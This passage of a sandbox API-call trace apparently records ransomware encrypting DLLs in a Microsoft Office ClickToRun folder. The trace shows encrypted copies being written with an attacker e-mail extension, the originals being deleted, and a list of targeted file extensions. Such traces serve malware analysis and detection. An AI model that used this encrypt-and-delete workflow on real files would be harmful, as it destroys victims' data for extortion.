lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0288.413] WriteFile (in: hFile=0x10d8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0288.414] ReadFile (in: hFile=0x10d4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.414] WriteFile (in: hFile=0x10d8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x126, lpOverlapped=0x0) returned 1 [0288.415] SetEndOfFile (hFile=0x10d8) returned 1 [0288.415] CloseHandle (hObject=0x10d8) returned 1 [0288.416] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.416] SetEndOfFile (hFile=0x10d4) returned 1 [0288.417] CloseHandle (hObject=0x10d4) returned 1 [0288.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0288.418] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 1 [0288.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0288.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0288.418] lstrlenW (lpString=".doc") returned 4 [0288.418] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0288.418] lstrlenW (lpString=".docx") returned 5 [0288.418] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0288.418] lstrlenW (lpString=".pdf") returned 4 [0288.418] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0288.418] lstrlenW (lpString=".xls") returned 4 [0288.418] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0288.418] lstrlenW (lpString=".xlsx") returned 5 [0288.418] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0288.418] lstrlenW (lpString=".ppt") returned 4 [0288.418] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0288.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0288.419] lstrlenW (lpString=".zip") returned 4 [0288.419] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0288.419] lstrlenW (lpString=".rar") returned 4 [0288.419] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0288.419] lstrlenW (lpString=".bz2") returned 4 [0288.419] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0288.419] lstrlenW (lpString=".7z") returned 3 [0288.419] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0288.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0288.419] lstrlenW (lpString=".dbf") returned 4 [0288.419] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0288.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0288.419] lstrlenW (lpString=".1cd") returned 4 [0288.419] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0288.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0288.419] lstrlenW (lpString=".jpg") returned 4 [0288.419] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0288.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0288.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0288.419] lstrlenW (lpString=".doc") returned 4 [0288.419] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0288.419] lstrlenW (lpString=".docx") returned 5 [0288.419] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0288.419] lstrlenW (lpString=".pdf") returned 4 [0288.419] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0288.419] lstrlenW (lpString=".xls") returned 4 [0288.419] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0288.420] lstrlenW (lpString=".xlsx") returned 5 [0288.420] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0288.420] lstrlenW (lpString=".ppt") returned 4 [0288.420] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0288.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0288.420] lstrlenW (lpString=".zip") returned 4 [0288.420] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0288.420] lstrlenW (lpString=".rar") returned 4 [0288.420] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0288.420] lstrlenW (lpString=".bz2") returned 4 [0288.420] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0288.420] lstrlenW (lpString=".7z") returned 3 [0288.420] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0288.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0288.420] lstrlenW (lpString=".dbf") returned 4 [0288.420] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0288.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0288.420] lstrlenW (lpString=".1cd") returned 4 [0288.420] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0288.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0288.420] lstrlenW (lpString=".jpg") returned 4 [0288.420] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0288.420] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0288.421] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37 [0288.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0288.421] GetFileSizeEx (in: hFile=0x10d4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=19136) returned 1 [0288.421] CloseHandle (hObject=0x10d4) returned 1 [0288.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20 [0288.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0288.421] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.421] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0288.422] GetLastError () returned 0x0 [0288.422] ReadFile (in: hFile=0x10d4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0288.424] WriteFile (in: hFile=0x10d8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0288.425] ReadFile (in: hFile=0x10d4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.425] WriteFile (in: hFile=0x10d8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x11e, lpOverlapped=0x0) returned 1 [0288.426] SetEndOfFile (hFile=0x10d8) returned 1 [0288.426] CloseHandle (hObject=0x10d8) returned 1 [0288.428] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.428] SetEndOfFile (hFile=0x10d4) returned 1 [0288.429] CloseHandle (hObject=0x10d4) returned 1 [0288.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0288.429] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 1 [0288.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0288.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0288.430] lstrlenW (lpString=".doc") returned 4 [0288.430] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0288.430] lstrlenW (lpString=".docx") returned 5 [0288.430] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0288.430] lstrlenW (lpString=".pdf") returned 4 [0288.430] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0288.430] lstrlenW (lpString=".xls") returned 4 [0288.430] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0288.430] lstrlenW (lpString=".xlsx") returned 5 [0288.430] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0288.430] lstrlenW (lpString=".ppt") returned 4 [0288.430] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0288.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0288.430] lstrlenW (lpString=".zip") returned 4 [0288.430] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0288.430] lstrlenW (lpString=".rar") returned 4 [0288.430] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0288.430] lstrlenW (lpString=".bz2") returned 4 [0288.430] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0288.430] lstrlenW (lpString=".7z") returned 3 [0288.430] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0288.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0288.430] lstrlenW (lpString=".dbf") returned 4 [0288.430] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0288.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0288.430] lstrlenW (lpString=".1cd") returned 4 [0288.430] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0288.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0288.430] lstrlenW (lpString=".jpg") returned 4 [0288.430] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0288.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0288.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0288.431] lstrlenW (lpString=".doc") returned 4 [0288.431] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0288.431] lstrlenW (lpString=".docx") returned 5 [0288.431] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0288.431] lstrlenW (lpString=".pdf") returned 4 [0288.431] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0288.431] lstrlenW (lpString=".xls") returned 4 [0288.431] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0288.431] lstrlenW (lpString=".xlsx") returned 5 [0288.431] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0288.431] lstrlenW (lpString=".ppt") returned 4 [0288.431] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0288.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0288.431] lstrlenW (lpString=".zip") returned 4 [0288.431] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0288.431] lstrlenW (lpString=".rar") returned 4 [0288.431] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0288.431] lstrlenW (lpString=".bz2") returned 4 [0288.431] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0288.431] lstrlenW (lpString=".7z") returned 3 [0288.431] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0288.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0288.431] lstrlenW (lpString=".dbf") returned 4 [0288.431] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0288.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0288.431] lstrlenW (lpString=".1cd") returned 4 [0288.431] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0288.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0288.431] lstrlenW (lpString=".jpg") returned 4 [0288.431] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0288.432] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0288.432] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36 [0288.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0288.432] GetFileSizeEx (in: hFile=0x10d4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=20672) returned 1 [0288.432] CloseHandle (hObject=0x10d4) returned 1 [0288.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20 [0288.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0288.433] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.433] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0288.433] GetLastError () returned 0x0 [0288.433] ReadFile (in: hFile=0x10d4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x50c0, lpOverlapped=0x0) returned 1 [0288.626] WriteFile (in: hFile=0x10d8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x50d0, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x50d0, lpOverlapped=0x0) returned 1 [0288.909] ReadFile (in: hFile=0x10d4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.909] WriteFile (in: hFile=0x10d8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x11c, lpOverlapped=0x0) returned 1 [0288.909] SetEndOfFile (hFile=0x10d8) returned 1 [0288.910] CloseHandle (hObject=0x10d8) returned 1 [0288.910] SetFilePointerEx (in: hFile=0x10d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.910] SetEndOfFile (hFile=0x10d4) returned 1 [0288.911] CloseHandle (hObject=0x10d4) returned 1 [0288.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0289.264] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 1 [0289.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0289.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0289.264] lstrlenW (lpString=".doc") returned 4 [0289.264] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.264] lstrlenW (lpString=".docx") returned 5 [0289.264] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.264] lstrlenW (lpString=".pdf") returned 4 [0289.264] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.264] lstrlenW (lpString=".xls") returned 4 [0289.264] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.264] lstrlenW (lpString=".xlsx") returned 5 [0289.264] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.264] lstrlenW (lpString=".ppt") returned 4 [0289.264] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0289.264] lstrlenW (lpString=".zip") returned 4 [0289.264] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.264] lstrlenW (lpString=".rar") returned 4 [0289.265] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.265] lstrlenW (lpString=".bz2") returned 4 [0289.265] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.265] lstrlenW (lpString=".7z") returned 3 [0289.265] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0289.265] lstrlenW (lpString=".dbf") returned 4 [0289.265] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0289.265] lstrlenW (lpString=".1cd") returned 4 [0289.265] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0289.265] lstrlenW (lpString=".jpg") returned 4 [0289.265] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0289.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0289.265] lstrlenW (lpString=".doc") returned 4 [0289.265] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.265] lstrlenW (lpString=".docx") returned 5 [0289.265] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.265] lstrlenW (lpString=".pdf") returned 4 [0289.265] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.265] lstrlenW (lpString=".xls") returned 4 [0289.265] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.265] lstrlenW (lpString=".xlsx") returned 5 [0289.265] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.265] lstrlenW (lpString=".ppt") returned 4 [0289.265] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0289.265] lstrlenW (lpString=".zip") returned 4 [0289.265] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.266] lstrlenW (lpString=".rar") returned 4 [0289.266] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.266] lstrlenW (lpString=".bz2") returned 4 [0289.266] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.266] lstrlenW (lpString=".7z") returned 3 [0289.266] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0289.266] lstrlenW (lpString=".dbf") returned 4 [0289.266] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0289.266] lstrlenW (lpString=".1cd") returned 4 [0289.266] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0289.266] lstrlenW (lpString=".jpg") returned 4 [0289.266] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.266] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.266] lstrlenW (lpString="AppVFileSystemMetadata.dll") returned 26 [0289.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0289.266] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=307416) returned 1 [0289.266] CloseHandle (hObject=0x10dc) returned 1 [0289.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0289.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0289.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0289.267] lstrlenW (lpString=".doc") returned 4 [0289.267] lstrcmpiW 